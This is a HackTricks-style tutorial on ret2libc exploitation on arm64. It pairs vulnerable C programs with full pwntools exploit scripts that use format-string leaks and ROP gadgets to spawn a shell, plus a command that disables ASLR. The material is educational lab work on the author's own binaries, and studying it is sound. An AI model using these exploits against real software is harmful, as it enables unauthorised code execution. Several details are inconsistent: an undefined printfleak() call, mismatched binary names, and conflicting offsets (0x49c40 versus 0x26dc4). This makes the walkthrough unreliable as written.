Ret2lib + Printf leak - arm64 - HackTricks

# Ret2lib + Printf leak - arm64

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Ret2lib - NX bypass with ROP (no ASLR)

    #include <stdio.h>

    void bof()
    {
        char buf[100];
        printf("\nbof>\n");
        fgets(buf, sizeof(buf)*3, stdin);
    }

    void main()
    {
        printfleak();
        bof();
    }

Compile without canary:

    clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
    # Disable aslr
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

### Find offset

### x30 offset

Creating a pattern with `pattern create 200`, using it, and checking for the offset with `pattern search $x30` we can see that the offset is `108` (0x6c).

Taking a look to the dissembled main function we can see that we would like to jump to the instruction to jump to `printf` directly, whose offset from where the binary is loaded is `0x860`:

### Find system and `/bin/sh` string

As the ASLR is disabled, the addresses are going to be always the same:

### Find Gadgets

We need to have in `x0` the address to the string `/bin/sh` and call `system`.

Using rooper an interesting gadget was found:

    0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

This gadget will load `x0` from `$sp + 0x18` and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.

### Exploit

    from pwn import *
    from time import sleep

    p = process('./rop')  # For local binary
    libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
    libc.address = 0x0000fffff7df0000
    binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
    system = libc.sym["system"]

    def expl_bof(payload):
        p.recv()
        p.sendline(payload)

    # Ret2main
    stack_offset = 108
    ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

    x29 = b"AAAAAAAA"
    x30 = p64(system)
    fill = b"A" * (0x18 - 0x10)
    x0 = p64(binsh)

    payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
    p.sendline(payload)

    p.interactive()
    p.close()

## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack

    #include <stdio.h>

    void printfleak()
    {
        char buf[100];
        printf("\nPrintf>\n");
        fgets(buf, sizeof(buf), stdin);
        printf(buf);
    }

    void bof()
    {
        char buf[100];
        printf("\nbof>\n");
        fgets(buf, sizeof(buf)*3, stdin);
    }

    void main()
    {
        printfleak();
        bof();
    }

Compile without canary:

    clang -o rop rop.c -fno-stack-protector -Wno-format-security

### PIE and ASLR but no canary

- Round 1:
  - Leak of PIE from stack
  - Abuse bof to go back to main
- Round 2:
  - Leak of libc from the stack
  - ROP: ret2system

### Printf leaks

Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:

Trying different offsets, the `%21$p` can leak a binary address (PIE bypass) and `%25$p` can leak a libc address:

Subtracting the libc leaked address with the base address of libc, it's possible to see that the offset of the leaked address from the base is `0x49c40`.

### x30 offset

See the previous example as the bof is the same.

### Find Gadgets

Like in the previous example, we need to have in `x0` the address to the string `/bin/sh` and call `system`.

Using rooper another interesting gadget was found:

    0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

This gadget will load `x0` from `$sp + 0x78` and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.

### Exploit

    from pwn import *
    from time import sleep

    p = process('./rop')  # For local binary
    libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

    def leak_printf(payload, is_main_addr=False):
        p.sendlineafter(b">\n" ,payload)
        response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
        if is_main_addr:
            response = response[:-4] + b"0000"
        return int(response, 16)

    def expl_bof(payload):
        p.recv()
        p.sendline(payload)

    # Get main address
    main_address = leak_printf(b"%21$p", True)
    print(f"Bin address: {hex(main_address)}")

    # Ret2main
    stack_offset = 108
    main_call_printf_offset = 0x860 #Offset inside main to call printfleak
    print("Going back to " + str(hex(main_address + main_call_printf_offset)))
    ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
    expl_bof(ret2main)

    # libc
    libc_base_address = leak_printf(b"%25$p") - 0x26dc4
    libc.address = libc_base_address
    print(f"Libc address: {hex(libc_base_address)}")
    binsh = next(libc.search(b"/bin/sh"))
    system = libc.sym["system"]

    # ret2system
    ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

    x29 = b"AAAAAAAA"
    x30 = p64(system)
    fill = b"A" * (0x78 - 0x10)
    x0 = p64(binsh)

    payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
    p.sendline(payload)

    p.interactive()

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.